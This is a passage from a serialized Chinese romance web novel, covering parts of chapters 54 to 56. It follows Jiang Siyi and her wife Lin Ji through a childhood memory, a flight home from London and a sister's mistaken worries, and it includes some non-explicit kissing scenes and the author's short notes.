那次林棘把她背回家,是她记忆里最近距离的接触。 大概是想到了这件往事,奇妙地梦到了那场短暂的交集。 不是初中二年级就是三年级,她记得那次在体育课上崴脚时穿的是初中校服。 宋缇和朋友去玩密室逃脱了,姜司意受伤了去不了,考试在即也不想分心,一瘸一拐地自己回家。 下了公交车,回家的必经之路上,有一条又长又窄的下行台阶。 以前轻快地颠着步三两下就下去了。 今天则有点不敢迈步。 扶着墙慢吞吞地往下挪。 崴到的那只脚每次接触地面,都会传来钻心的疼痛。 从来没感觉这台阶这么长。 姜司意紧抿着唇,走得非常慢。 全身心都紧绷着,不让自己从台阶上滚下去的姜司意,没发现身后有个人跟她跟了一路。 林棘知道她脚踝扭到了,伤得不轻。 是在医务室处理过了,还是不太放心,闷不吭声地跟在她身后。 燥热的夏季傍晚,老榕树从墙内伸出茂盛的枝叶。 树影斑驳,夏蝉鸣叫,背着书包的小女孩脖子后面因疼痛浮起一层冷汗。 忽然察觉到身后有人,姜司意回头。 对视间,林棘无表情的脸映进眼底,立刻唤起各种关于她的传闻。 那些夸张的传闻,姜司意是真的信过。 后来听姐姐说,林棘跳了一级升到高二,和她同班,觉得这人虽然沉默孤僻,也不像是会干坏事的人。 姜司聆还说:“上次我的笔不小心掉到她脚下,她还帮我捡呢。而且一来就坐上年级第一的位置,妥妥的学霸。” 姜司意对学霸有天然的滤镜,加上林棘阴沉归阴沉,但长得实在太好看。 超级学霸,美女学姐。 这两个属性加在一起,就不像会做离谱坏事的。 姜司意不太好意思地侧了侧身。 “啊……我是不是挡住你了?你要下去吗?” 狭窄的台阶无法两人并行,姜司意想尽力往旁边让一让,不要耽误别人。 林棘束着简单的马尾,穿着高中部的校服,身高腿长。 五官无甚表情,目光落在她的脚上,为了掩饰自己不放心的跟踪,明知故问: “怎么了?” 像被老师提问,姜司意不敢有任何隐瞒,一五一十回答道: “体育课的时候不小心扭了一下。” 怎么能让她答应,让我背她? 思索了片刻,林棘问姜司意: “脚扭了还下台阶,不怕滚下去?” 姜司意:…… 心头一颤,差点被吓哭。 看来我是真的很碍事了。 要是我不让开,她不会把我推下去吧? 姜司意正想整个人贴到墙壁上,就听林棘说: “我背你。” “啊?” 姜司意以为自己听错了,嗑吧了一下才说: “这,不太好吧?” 未婚妻的表姐,以后总是会成亲戚的。 可现在不还不是么…… 只是同校的学姐。 让半生不熟的学姐背她,姜司意犹犹豫豫不敢答应。 林棘弯腰等她上来,却见她脸色沉沉,迟迟不动。 林棘:“我赶时间。” 姜司意:“……对不起!” 太可怕了。 只能含泪伏上林棘的后背,胆战心惊地让她背下台阶。 害怕到不敢扶林棘的肩膀,左右手都只用两根手指捏住林棘的校服。 心情是起伏胆怯的,背她的人却走得很稳很稳。 每一个台阶都踏得谨慎。 只能送她一段路,也要送得万无一失。 …… 被送到家门口,正要说谢谢,林棘没给她这个机会,转身走了。 姜司意目光有些迷茫地追了她一会儿。 之后进了大门,门没立刻关上,再探出半颗脑袋,又一次看向林棘离开的背影。 那个在夏日里渐行渐远的背影,融入梦境的尾声。 跨越漫长的时光,整整十年之后,二十五岁的姜司意透过梦境凝视那道沉默的身影时,体会到了不知从何而来的浓浓寂寞。 不太舒服地翻了个身,看眼手机。 她已经将时间调成伦敦时间了。 才早上五点十分。 昨天喝的酒,全反应到今天。 头有点痛。 勉强再睁开眼睛,去确定林棘的情况。 林棘闭着眼平躺着,脸侧向姜司意的方向。 呼吸均匀,应该还在睡。 梦里的感觉残留于心头。 一开始是开心的,想着想着,心绪被这十年没有相交的时间拉扯着,像错过了一段本该珍藏的生命。 心下空空荡荡,渐渐蒙上了一层酸意,更有些怅然。 悄悄靠近林棘。 数她的睫毛,目光勾勒她的鼻尖。 最后视线落在唇形饱满,很会吻人的唇上。 所以,那时候林棘为什么愿意背她呢? 只是因为两人待有的亲戚关系,还是有别的原因? 还有别的原因吗? 姜司意思绪微动,撑起上身,犹豫着,吻上林棘的唇。 轻轻的,像羽毛掠过,浅尝辄止。 一点点浅浅的吻,把姜司意自己吻得心动不堪。 额头再一次抵在林棘的胳膊上。 就赖睡相不好,一不小心贴上的。 还不敢贴得太紧。 幸好,只用接触一点点,也很安心。 从昨晚到今早,林棘又能睡多久呢? 姜司意闭上眼,唇角微勾。 许愿一个八小时。 …… 姜司意再一次睡着后的一小时,林棘醒来了。 感觉胳膊上有一团热热软软的事物,低头看,是姜司意。 侧身缩成一小团,额头顶着她的胳膊,身子却隔了好远。 ——不牵我吗? 昨晚的姜司意浮现在脑海中。 有点委屈,不是错觉。 现在又靠着她,却不敢真正靠近。 林棘翻过身,将睡梦中的姜司意整个人拥过来,抱个满怀。 还在睡梦中的姜司意疑惑又舒服地“嗯?”了一下。 不知道发生了什么事,太好闻的香味让她本能地靠近。 任人抱着,陷入那团柔软温热之中。 这柔软温热是什么,好像很好吃…… 轻轻咬上一口。 【作者有话说】 林棘:宠妻第二十二步,从小开始宠[猫头][猫头] 55 第55章 ◎你在我这里,可以做任何你想做的事◎ 视频接通。 一只棉花团出现在镜头里。 黑黑的鼻子占据了大半个镜头,好奇地闻来闻去。 姜司意唤了一声“雪球”。 听到铲屎官的声音,两只半圆形的耳朵立刻竖起来,小豆眼都瞪圆了。 发现视频里的姜司意,雪球“汪汪汪汪”叫了好几声,尾巴甩到天上。 社区管家摸摸雪球的脑袋,对姜司意说: 【雪球状态很好,交了好几个新朋友,每天能吃能睡,就是想你了。】 姜司意也很想雪球,这几天脚边少了总是如影随形的小毛团,感觉空荡荡的。 【麻烦你再照顾雪球一天,明天我们就回去了。】 社区管家:【好的,明天我们会给雪球洗个澡,等你和林女士到家,我们会把雪球送回去。】 正说着,余光里发现林棘从衣帽间出来了。 姜司意维持着笑容对社区管家说: 【我会在到家之前联系你的。】 林棘听到声音,也看到了视频里白乎乎的圆脑袋。 正要过来看看雪球,姜司意和雪球说“明天见”后,迅速挂断了。 姜司意从沙发上起身,说:“你换好了那我去换衣服了。” 看上去像是在对林棘说话,实则目不斜视,根本不敢看她。 就要从林棘身边匆匆而过,听到林棘说: “放心,我已经挡住了。” 逃避了一早上的话题,就这样被林棘明晃晃地摆上台面。 姜司意没敢继续溜,像被班主任逮到,捏着睡裙的裙边站到她面前,小声道: “对不起嘛……” 一小时前。 姜司意贴着林棘的胳膊睡回笼觉时,只是想耍个小赖。 谁能想到,醒来时居然整个人钻到林棘怀里去了。 把林棘的胳膊当枕头枕了多久也未可知,睡得理所当然。 不好的睡相居然还能升级。 而林棘真就让她这样无所顾忌。 甚至主动搂住她的腰,想退也不得退。 那些小心翼翼,思前想后,小小心眼,都在林棘这一拥之下化为乌有。 薄薄的睡裙几乎挡不住体温的传递,林棘又抱她抱得太紧。 感觉自己已经被林棘体温和香味浸透了。 迷糊之时,发现林棘的胸口上方和锁骨处,有好几个醒目的红痕。 姜司意:? 这是什么,为什么那么像……吻痕。 新鲜的红,或深或浅,是轻咬细嘬出来的痕迹。 除了人类的嘴刻意弄出的,没有别的可能。 结合当下的姿势,自己的嘴和“案发现场”的角度、距离。 除了是她犯下的“罪行”,也没有别的可能。 所以,刚才梦里感觉到的柔软好吃,又咬又啃的东西,居然是林棘的…… 姜司意闭上眼,在心里呐喊——“救命”。 这么明显的位置和颜色,还蹭了一大片。 林棘醒来后发现不了的话,估计得挂个眼科。 与其遮遮掩掩,不如诚恳道歉。 受害人林女士醒来之后,听完姜司意的陈诉,倒是很宽容。 半句没责备,只说:“我去遮一下。” 这会儿从衣帽间出来了。 穿了一件领子较高的衬衣,挡住姜司意在她身上的胡作非为。 林棘看姜司意道歉道得紧紧张张,又软乎乎的似乎可以任她欺负,淡笑道: “我没要你道歉。” “可是……” “而且之前不是说好了?” “嗯?” “让你报仇。” 出国之前那一夜,两人在家里的沙发上做了什么,一秒被唤醒。 当时姜司意的脖子上满是林棘的爱欲痕迹,后来视频的时候,林棘答应等她回国,让姜司意“报仇”。 结果林棘还没回来,姜司意自己找来了。 完全忘记了“报仇”。 没想到的是,这个“仇”在无意间真给报了。 看她手指还在悄悄往掌心里躲,林棘被她可爱得在心里喟叹一声。 摩挲她的脑袋,轻轻抬起她的下巴,不让她低头。 “你在我这里,可以做任何你想做的事。永远不用道歉。” 姜司意被她托着仰起头,光落在睫毛和动容的眼眸里。 就算为所欲为,给她造成了麻烦,也完全没有一点儿不高兴的意思。 扪心自问,姜司意也是这样的。 林棘也可以对她做任何事,她都愿意。 那种晕忽忽的愉悦感又来了。 又来填满她的身心,让她晕头转向,界限全无…… 回程自然是和林棘一起坐她的私人飞机。 今日有大雾,起飞时间稍微要延后一点。 在专属休息室内等待时,离开国内数日的林棘要出席国内的线上会议。 姜司意这头收到姐姐姜司聆的视频申请。 怕两边窜音,姜司意到隔壁房间去视频。 服务人员送来薄毯、水果、点心和厚厚的菜单。 姜司意说“谢谢”的时候,视频接通了。 一接通,姜司聆严肃的脸怼到镜头前。 【宝宝,姜骆那边的电话你千万别接。】 姜司意:【我这段时间在伦敦出差,换了手机卡,而且我早就把他们都拉黑了。发生什么事了?】 姜司聆:【姜骋玩摩托车在高速上撞了,人在医院躺了三天还没醒过来。医生的意思是再醒过来的机会很渺茫。赵珺现在到处找人想把他治好,偏偏房子还被封了,姜家已经彻底破产,一家人现在搬到郊区小房子里住着。赵珺和姜骆这几天一直在给我发信息、打电话,想向我借钱。我刚刚买了房,根本没存款,就实话实说没钱。赵珺还不信在那说我见死不救。什么人啊,我也给他们都拉黑了。】 姜司聆说到这里还有点生气,喝了口水,继续说: 【姜骆现在是失信人员,赵珺和他一样,都无法出国,没法来找我的麻烦。可你还得回国啊,肯定会去你家找你麻烦,让你出钱。实在不行的话你……】 【我已经不住在原来的地方了。】 姜司聆有点意外,【你搬家了?搬到哪里去了?】 之前没给姐姐说自己结婚的事,就是怕错乱的婚姻关系让姐姐担心。 现在,依旧错乱,但林棘的可靠让这份错乱有了属于它独特的秩序。 姜司意说:【我结婚了,现在住在妻子家里。】 姜司聆情不自禁再次靠近镜头,一脸错愕。 【啊?宝宝你结婚了?谁?什么时候的事,你怎么不告诉我啊?】 【没多长时间,这件事说起来有点复杂。】 姜司意本来想直接说结婚对象是林棘。 可思绪一转,还是压下。 宋慧刚刚出了事,跑到伦敦找林棘当面求情,说明她肯定知晓自己过往做过的那些恶事败露,是因为林棘。 姐姐的事业突然转好,她和宋慧在一个城市的同一圈子里,或许会听说一些内情。 即便今天不知晓,明天也会知道。 如果告诉她自己跟林棘结婚,姐姐一定会把她们结婚和宋慧突然倒台这两件事联系在一起。 而且实话实说,从某种层面上来说,两者也的确有联系…… 姐姐肯定会想歪。 肯定会觉得她现在能签约ArtS是因为林棘的运作。 可能会再一次陷入对自己才能的怀疑之中。 甚至会联想,妹妹是不是为了姐姐的前途出卖了自己。 别人的想象力可能没这么丰富,她这位艺术家姐姐,从小一联想,思绪就飞奔出五千里地,拦都拦不住。 姜司意所想的这些事,恐怕都不够姐姐填脑洞的。 只能再按下来。 再等一段时间吧,等到宋慧事件过去,姐姐不会把签新公司这件事和她与林棘结婚联系在一起的时候,再说也不迟。 十月份婚礼的时候,是个合适的契机。 正好樊青到门口,叫她登机。 姜司意起身道:【我要登机了,等你回国的时候我介绍你们认识。她是个很好的人。】 挂了视频,姜司聆坐在椅子上,抿唇沉思。 不太对。 太不对了。 宝宝是从小就早熟,更是个有自己主意的人,但也不可能结婚这么重要的事情都不跟唯一的姐姐说。 算起来,退宋缇的婚到现在也才几个月的时间,就认识了新的对象? 还能了解对方深入到决定能不能结婚的地步吗? 怎么看都太仓促了。 还不跟她说对方是谁,显然是不想她知道。 为什么不能说? 只有一种可能,因为说了之后她会担心。 姜司聆的思绪立刻开始发散。 为什么要强调是个好人? 难道因为根本就不好,甚至有可能是个混蛋? 这么匆忙地结婚,是不是也是宋家在施加压力? 姜司聆越想越恐慌。 宝宝长得那么好看,性格又那么好,那么优秀那么讨人喜欢,J城不着四六的豪门圈子里是不是早就有人想趁火打劫? 姜司聆一下子站起来,瞳孔震动。 忽然好转的事业,莫非是宝宝用婚姻换来的? 嗒嗒嗒——嗒嗒嗒—— 紧张地在房子里走了好几趟。 想到了什么,立刻回到电脑前,又是点网页又是给朋友打电话。 如果说现在和ArtS的签约,迎来事业高峰,真是妹妹用婚姻和幸福换来的,那么很有可能,她结婚的对象和ArtS背后的资本有关。 记得之前听朋友说过,ArtS和国内的某家资本沾亲带故,是谁来着…… 查了半天,终于有答案了。 朋友在微信里说:【ArtS的国内资本,那不就是森家吗?森家那个大女儿,就是负责现代艺术这块的。】 森家大女儿。 这五个字很像宝宝能结婚的对象,很危险。 姜司聆立刻问:【她是什么样的人?】 朋友:【你不知道?最是喜欢玩弄漂亮女孩,妥妥的人渣。】 姜司聆脸色惨白,脑子里嗡的一声,瘫坐在椅子上。 完了,宝宝真的被恶霸强占了! 一会儿满脑子是“我这个姐姐真没用”。 一会儿满脑子又是“我要给宝宝打离婚官司”! 再给姜司意挂视频过去,那头无法接通。 此时,万米高空,庞巴迪环球7500私人飞机上,乘务员送来餐食时,微笑着对坐在*餐桌边的四人说: “由于卫星信号干扰,网络可能会断联十分钟左右。” 没法联系到宝贝妹妹的姜司聆强迫自己冷静下来。 这森家很不好对付。 要把妹妹救出来各方面都得打点,需要钱。 姜司聆清点自己的资产,查看手头的房子现在的市场价。 正焦头烂额时,身后趴上一个深棕色微卷发的慵懒女人。 那女人环着她的脖子,脸埋到颈间嗅她好闻的气味,满意地“嗯”了一声。 姜司聆目不转睛地盯着电脑,用英语道:“醒了?” 格伦达从颈间抬起头,看到电脑屏幕,疑惑地用英语问: “你要卖房子?” “可能。” 格伦达那双深绿色的眼睛露出疑惑。 “你不是很喜欢这处的房子吗?刚刚买来的,怎么又要卖?” 姜司聆低垂着眉眼说:“我只是在估价,在未雨绸缪,可能要帮妹妹打离婚官司,需要钱。” 格伦达哀叹了一声,揉揉她的脸说:“原来是这样,亲爱的别担心,房子不要卖,你这么喜欢,要一直住在这。钱我有,正好不知道该买点什么当你宝宝的见面礼呢。” 姜司聆动容地看着眼前的女人。 格伦达捧起她的脸,吻她的唇。 其实姜司聆有点没心情,可格伦达实在很会吻,又很温柔,很懂她想要什么样的情绪。 心头的不知所措,被这个吻安抚了不少。 接吻的时候,姜司聆分出了一丝意识想着,是时候回国看一下了。 …… 这是姜司意第一次坐林棘的私人飞机。 才知道原来飞机里也能配备厨房、私人影院、合围的沙发,以及一个足够容纳双人床和浴室的超大卧室。 不过,卧室并没有让姜司意心猿意马。 不说机组成员有八名,此时餐桌边除了樊青,还多了一个人。 林棘的好友岑麓。 今天一早,岑麓联系林棘,问她是不是在伦敦出差。 林棘说是,岑麓问:【准备什么时候回国?】 【今天。】 【那正好了,带我一程,我也打算回去。】 岑麓独自一人出来散心,三天前到了伦敦。 独自走走逛逛,索然无味,家里还有事在催她回去。 听严逾说林棘在伦敦,大概这几天也要回来,岑麓便打算蹭老友的飞机。 路上有人说说话,聊聊天,十多个小时的旅行也不会那么无聊。 岑麓:【不耽误你和你的小妻子,给我个沙发睡就行。】 林棘以前上学的时候没少把岑麓家的车当自己车用,现在好友发话,没理由拒绝。 姜司意很早之前就听说过岑麓。 以前姐姐姜司聆和岑麓、严逾同班,后来林棘跳了一级也到了这个班上。 姐姐说她们三个人是旁人谁也无法融进去的“千金团”。 都一样漂亮、聪明,又是J城知名的豪门千金。 岑麓在姜司意的印象里,是学校高中部的风云学姐,多金又漂亮,排球队长跳高冠军,超级有名。 她和姜司意没什么交集,几乎没说过话,也是个不苟言笑的人。 和林棘两人往那一站,气场强得没人敢靠近,眼刀都能杀人。 今天一见,气场还是很吓人。 冷脸归冷脸,对姜司意很客气,像对待自家妹妹一样,还给她和林棘都带了礼物。 其实姜司意是挺意外的,没想到除了严逾,林棘和岑麓这个高中同学的关系也这么密切。 食物上桌,林棘问岑麓怎么自己出来玩。 岑麓:“别提了,就我之前那个联姻对象,被我拒绝后来劲了,说要认真追求我,成天往我家门口堆礼物。懒得跟她掰持,就说出国散散心。” 听到“联姻对象”这四个字。 姜司意很敏感地把注意力从手中的小羊排转移到岑麓的话上。 林棘察觉到姜司意进食动作不自然的停滞,思索了片刻,继续问岑麓: “所以她还巴望着把你绑回家,当个听话省心的妻子,对付家里的挡箭牌?” 联姻对象…… 听话省心的妻子…… 这两个好熟悉的名称连在一起,不就是这段时日的心头大患吗? 说的竟不是她。 这回姜司意不止是吃饭的动作停下来。 连眼睛也不会眨了。 所以,那天林棘是在和岑麓打电话,说的也是岑麓的事。 岑麓冷笑一声道:“不知道,那个森一繁脑子被门夹过。懒得说她了,有牌吗,打打,消磨时间。” 林棘一边说“有”,一边瞟姜司意。 姜司意已经在暗中深呼吸了好几道,还是觉得荒唐得很。 想去找饮料喝,稀释这几日白吃的苦。 话说回来,她白吃苦没关系,幸好。 姜司意在心里庆幸,幸好林棘不知道她当初答应联姻是想各取所需。 把林棘想成心术不正的人,这件事永远别让当事人知道。 观察姜司意细微的表情,再结合银行宴会那天突然答应联姻这件事,林棘明白了。 原来姜司意一直以为,想要个“听话又省心的妻子”的混蛋,是她本人。 姜司意心不在焉去开冰箱的门,开反了,半天打不开。 林棘走到她身侧,将她手握过来,以免被夹着,然后从另一侧开门。 姜司意:“谢谢。” “不客气。”林棘微笑道,“毕竟我这样听话的妻子,就是来让你省心的。” 姜司意:………… 【作者有话说】 林棘:宠妻第二十三步,拆穿老婆的时候要拐弯抹角,但一定要拆穿[猫头][猫头] 56 第56章 ◎完全控制的姿势◎ 为什么林棘会提到“听话省心的妻子”。 是巧合,随意一说,还是她已经知道了? 回国后的两天,这个问题时不时在姜司意的脑瓜里蹦跶。 林棘是不是会读心术这件事,也在她心里持续怀疑过好几秒。 百分百不希望她知道。 可惜通过这段时间的相处,对林棘高智商的判断,百分之一万是知道了。 知道了,故意这么说。 偏偏还不点名,暗暗揶揄。 成年人的世界里,看破不说破难道不是心照不宣的事吗? 这人,怎么这么坏啊。 心里的抨击才起了个头,想到自己误会了人家那么久,又觉得林棘好无辜。 你平白无故误解人家好几个月,被揶揄一下怎么了。 一怒之下怒了一下的姜司意,没舍得再在心里说林棘坏话。 与此同时,回顾整件事又觉得奇妙。 如果当初不是这个误会,被道德感约束着,一直不想“利用”林棘,什么时候能答应这场联姻、会不会答应,都不可知。 奇妙的遭遇,歪打正着。 …… 晚上回家,从进门起雪球就跟在她脚边狂甩尾巴。 回来两天了,小毛团还是寸步不离,主人不抱它就委委屈屈哼哼个没完。 姜司意包都还没放下,就被它缠得迈不动腿,只好先单手捞狗,把妈宝狗抱在怀里再放包。 雪球在宠物乐园托管的这段时间里,每日入口的食物清单和时间安排,之前社区管家都同步给姜司意了。 吃得比在家里还丰富。 某只小狗想妈妈归想妈妈,半点没影响食欲。 几天下来胖了一圈,都坠手了。 看它小脚上沾着从院子里带进来的泥,抽了湿巾仔细擦干净。 雪球仰面躺在主人怀里,享受着被照顾的惬意,开心地舔舔主人的脸。 姜司意被它弄得痒痒的,擦完脚,笑着点点它的鼻尖。 厨房里飘来一道目光。 拿着锅铲的林棘,全程目睹姜司意和雪球的甜蜜互动。 “吃饭了。” 她关掉油烟机,唤了声。 “哦……” 今天林棘这么早就回来了吗? 饭都做好了。 姜司意把粘人的毛团放下,在雪球的护送下走到餐厅。 餐桌擦一擦再铺上餐垫,林棘刚好把食物端出来。 3000k色温的温馨灯光之下,又是精致的晚餐。 林棘细心地帮姜司意切开鸡肉,切成正好一口的分量,放到勺里淋上一点汤汁,递到姜司意面前的餐盘中。 被无微不至照顾着,姜司意下意识又道谢。 “谢谢。” 林棘淡笑着,“不客气。” 鸡肉送到嘴里时,怔住。 等下。 好熟悉的对话场景。 那天在飞机上,林棘给她开冰箱门的时候,她们就是这样一个“谢谢”一个“不客气”的。 姜司意抬头,果然看到林棘嘴角藏着一抹意味不明的笑。 感觉下一秒就会再说一次“我这样听话的妻子,就是来让你省心的”。 心中拉响警报,林棘没如她所想,只问她: “好吃吗?” 和预想的不同,姜司意慢了半拍才说:“……好吃。” “好,看来照烧口味的你也喜欢。” “……嗯。” 莫非是小人之心了? 可某个人看似在记录日后餐桌上可以出现的日常口味,笑意还是显得意味深长了些。 原来即便看破不说破,也能用其他方法暗示,准确地继续揶揄。 林棘又补了一句,“每天都能取悦你的胃,我乖不乖?” 姜司意:…… 果然! 啊啊啊。 什么人啊,真的好坏。 一边舍不得真的抨击林棘,一边又开始忍不住腹诽。 最后只能敲自己的脑袋——都是你的错。 …… 晨间,依旧是坐着林棘的车来到公司。 从电梯里出来,姜司意一眼就看到嘉仕比前台的显示屏上,正播放着她在伦敦交流会上演讲和现场互动的视频。 同事们路过都会放慢脚步看两眼。 见姜司意本人就在这,不吝啬夸赞道: “厉害啊小姜,在这么多人现场演讲都不在怕的。” “妈呀那个燕总也在,吓死了,要是换成我,被她看一眼都得腿软。” “小姜年纪轻轻,已经有大将之风啦。” 姜司意被夸得有些腼腆。 林棘给她看过现场的视频和照片。 但在手机里看到的,和在大大的显示屏上看到的,效果还是有点区别。 大将之风吗? 视频之中的自己看上去在上千人的注视下从容自如,面对随机的提问方寸不乱。 不知道在演讲之前她紧张成什么样的人,恐怕真会被表面的镇定自信骗了,以为她半点不紧张。 还是紧张的,怎么可能不紧张。 但有人挖掘了她的潜力,还有那个人的鼓励加持,她真的做到了。 人生成就清单里,又多了一个完成项。 …… 上午的工作时间过得飞快。 临近中午休息时分,林棘发来三项晚餐菜单,让姜司意选今晚吃什么。 与此同时,脑海里想起林棘那句“我乖不乖”。 有些人,明明坏得很,可说自己“乖不乖”的时候又怪可爱的…… 已经习惯了林棘的体贴周到,收到三项晚餐备选也没多想,只思考着今晚想吃哪个。 正要选百香果酸汤牛肉为主食的菜单。 听到角落里的同事一边喝茶,一边在抱怨家里的那口子。 “真烦死了,我每天又要上班又要做饭,还给我挑三拣四。知不知道做饭有多麻烦,多耗费精力啊!不仅要洗要切,还得绞尽脑汁想今天吃什么,每天得换着花样。我家里那死人倒好,就出一张嘴,吃完了还挑挑拣拣说咸了淡了。嘁!” 另一位同事附和道:“顿顿吃豆橛子就老实了。” 两位同事一边抱怨一边拿了手机出门吃饭去。 姜司意坐在工位上不敢动。 回复林棘的微信都慢了些。 她倒没那么可恶,一直都是怀着感恩的心在享用每一餐,时间赶巧的话一定会帮忙打下手。 此刻,做饭有多辛苦这件事,通过同事们的言谈在她心中划下重点线。 与此同时,林棘对她的好一一浮现在心里。 答案其实早就摆在眼前,却因为联姻开始的第一步踏得太虚浮,太不确定,往后的每一步都似在迷雾里,无法确定,更不敢渴望。 现在迷雾散去,回头看看稀里糊涂走过的来时路,竟敢奢望了。 为什么主动提出联姻,又事事周到,甚至连生理上都愿意贴近。 她不觉得有人能和不喜欢的人热吻到这个程度。 姜司意无法无天又非常合理地推测—— 林棘喜欢我。 林棘,喜欢,我。 这句话再读一遍,每个字都能把下辈子的自恋都预支了。 自恋是自恋,快乐也是真快乐。 手机挡在嘴下,遮着肆意上翘的嘴角。 开心完了,理智回归,思索一个重要的问题。 从小到大她没有为林棘付出过什么,没有对林棘掏心掏肺地好过,甚至在学校时远远看到林棘向她走过来,都会悄悄绕道而行。 所有的喜欢不都是建立在相识、接触和付出基础上的吗? 从小到大付出很少得到相应回报的姜司意,不可能不思考这个逻辑—— 我什么也没做过,林棘凭什么会喜欢我呢? “小姜。” 吴经理锁上办公室的门,对看向她的姜司意抬了抬下巴。 “走走走,请你吃午饭。” 姜司意今年表现无可挑剔,业绩飞升,在交流会上又表现得颇为出色,很有可能获得今年嘉仕比全球新锐拍卖师的头衔。 这头衔不仅是荣誉,更是晋升部门经理的快速通道。 佣金的抽成也会相应增加。 J城嘉仕比就五年前出过一个拿下这个头衔的超级新人。 现在已经是油画部,甚至是整个J城嘉仕比最有影响力的明星拍卖师。 业绩至今尚无人能撼动。 顾总那头收到伦敦总部的表扬,早上开会跟吴经理提及这件事时,语气里是满满的与有荣焉。 还分了几个金石玉器部的客户资源给吴经理。 看上去对金石玉器部的重视程度又提升了不少。 吴经理心情好,就想散财。 姜司意:“怎么突然要请客?” 吴经理没跟姜司意说全球新锐拍卖师这件事,要提早说了,万一落空得多失望啊。 就说感谢她舍身为部门自愿去伦敦,还完成得这么出色。 “什么,谁要请客?” 段凝的脑袋从另一侧的空位上探出来。 吴经理:“你听错了,没人要请客。” 段凝:“什么,随便吃什么都行?等我,关了电脑就来!” 吴经理服了段凝这自说自话的本事。 “你又没去交流会,怎么还要我请你吃饭?” “那不正是因为我没去么,要我去了咱们部门就得丢个大脸。你得感谢我不丢脸之恩。” 吴经理:“……这都行?” 说不过段凝,请就请吧,多张嘴而已,吃不垮她。 而且有段凝在,最是能活动脸部肌肉,笑到肚子疼,什么压力都能烟消云散。 三人去附近的商场,吴经理问姜司意想吃什么,以她为主。 姜司意最近口腹之欲完全被满足,没想法,问段凝。 段凝钦点:“我想吃寿喜锅。” 吴经理嘴角抽了抽:“大热天的吃这么热,还油腻,胃口真好啊段凝。” 段凝:“那不是因为吴经理请客嘛,胃口不好也得当场好起来。” 吴经理揪着段凝的脖子给她拎到寿喜锅店里去。 “行,吃,不给你吃胖三斤不许出来。” 幸好店里空调开的足,吃起来也不热。 有段凝在,每顿饭都像边吃饭边听脱口秀。 茼蒿放进锅中,等着食材煮熟的过程里,段凝开始说她最近听到的八卦。 是她另外一个圈子里的见闻。 “嚯,那不就是替身?” 吴经理用公筷给段凝和姜司意夹熟度刚刚好的牛肉,短短一句话总结段凝刚才的长篇大论。 “替身”两个字,让略略走神的姜司意思绪忽然凝住。 “挺会总结,经理大人没少看小说吧。就是替身。”段凝说,“就跟小说里写的那样,找了个和白月光非常相似的人结婚,把对方当成心里得不到的初恋来宠。替身还纳闷,怎么就爱得死去活来了?结果也结了婚的白月光前几天回国了,两边人马在饭局上见到面,一切疑惑迎刃而解。” “这么寸?那不得闹离婚?” “离没离不知道,反正怼脸泼出去的茅台有一整瓶了。” 没头没尾,姜司意的大脑自动捕捉几个关键点。 和白月光非常相似的人结婚。 当成初恋来宠。 一根茼蒿咬在嘴边,忘记咬断。 之前居然完全没有想过这种可能。 如果,林棘的心里也有个爱而不得的白月光…… 又如果,自己刚好和因为白月光长相似。 那,林棘会和她联姻,还对她如此无微不至的原因,也迎刃而解了。 咕咚咕咚咕咚…… 姜司意一口气喝完满满一杯大麦茶。 段凝看着她喝得这么猛,疑惑道:“甜口的,也不咸啊。” 放下茶杯,姜司意告诉自己—— 住脑,别想了。 之前不就是因为听到不该听的瞎想,弄得误会林棘这么久。 现实生活里哪有这么多狗血的事。 思绪还没彻底落下,忽然想起林棘胸前的文身,还有当做头像多年的那封信,姜司意又陷入了新一轮的沉思。 糟了,好像不仅有白月光,连证据都齐全了。 种种因素累加在一起,愈发能精准匹配到“替身”情节上。 哈。 姜司意又喝一大口可尔必思。 不信。 说不信就不信。 打定主意,这回无论如何都不能再把林棘往恶劣的方向想。 和自己约定了不再乱想,思绪依旧不受控制起起伏伏着。 下班去上防身格斗课的时候,不小心扭到了肩膀。 晚上回来洗澡时就感觉到了难受。 站在镜子前洗漱的时候,胳膊都要抬不起来了。 林棘看姜司意刷个牙眉头拧成一团,走到她身后问: “怎么了?” “上课的时候不小心扭了一下。” “上课?” 林棘轻轻在姜司意的肩膀附近按压,寻找疼痛点。 “嗯,格斗防身的课。” 即便是轻轻按压,也有无法忽略的疼痛感。 姜司意面色因疼痛,染了些不自然的红晕。 确定扭伤的位置后,拿来冰袋冷敷。 再慢慢活动了一下。 “嘶……” “慢一点。怎么样?” “好像好点了。” “别走,再敷一下。” 林棘单臂圈着姜司意的腰,另一只手拿着冰袋,压在扭伤的位置。 就这样在她身后多赖一会儿。 姜司意没走,什么也没说,在沉默中保持着被林棘抱着的姿势。 明明是林棘在帮她冷敷,去除伤痛,却像是这比她高一截的女人依赖着她,离不开似的。 下巴若有似无地贴在她的后颈处,一趟趟的鼻息轻柔地滚过小翅膀文身。 脖颈生生被她吹热了。 姜司意有些难耐,暗暗咬了咬下唇。 后背相触的地方,感受到了柔软丰满的轮廓,渐渐升起了燥热感。 怕一开口林棘就走了,便没吭声,就被她抱着。 不好冰敷太久,把小冰袋放到一旁,林棘握着姜司意的手腕,带着她再慢慢活动一下。 姜司意跟着身后人的动作,抬起手臂,慢慢画个半圆。 “感受一下,还有没有哪里痛。” “好像没有,好多了。” 身后人“嗯”了声,环着她腰的手依旧没有撤走。 五指张开,贴在她的小腹上。 “为什么想学格斗防身?” 帮忙活动的那只手也没松开她的腕部。 整个人更深地落在林棘的怀抱里。 姜司意努力集中精神,让大脑维持着正常的运作,回答她的话。 “就,记得上次你在国外出事,我就想,万一以后有什么突发状况,我学了格斗,在你身边可以保护你的。” 学格斗课的最初,姜司意想的是不要给林棘拖后腿。 可现在,单单只是不拖后腿已经让她不太满足。 她不想林棘遭受任何的意外或痛苦。 姜司意凝视着镜子里抱着她的身后人,双眼里浸着明亮的真。 肩膀窄窄,身子薄薄,个子还没她高的小姑娘,说要保护她。 动容的目光越来越近,姜司意心脏猛地一紧缩,是要接吻。 在被林棘吻上的刹那,心动地闭上了眼。 双唇不太熟练地主动张开,容她进来。 却张得不够,被抵得脖子往后仰了一下。 依旧是凶凶的吻,足够强势,但说不上蛮横。 是想抵进姜司意灵魂最深处的摄取,浓郁至极的占有欲。 吻得她呼吸凌乱,几乎要站不住。 一直都没从腰间离开的那只手收紧,再收紧。 指腹摸索着,隔着衣物都在平坦的腹间落下了指痕。 即便吻得这般没有余地,先前扭到的胳膊却动也未动,被林棘完完全全保护起来。 感觉到姜司意又快要不会呼吸,吻从她的唇上离开。 呼吸的节奏尚未被找回,耳朵又落入同一副唇舌之间。 腰间的手往上,抚在姜司意的喉咙口,掠过发燥的肌肤,一点点把她的下巴往上推高。 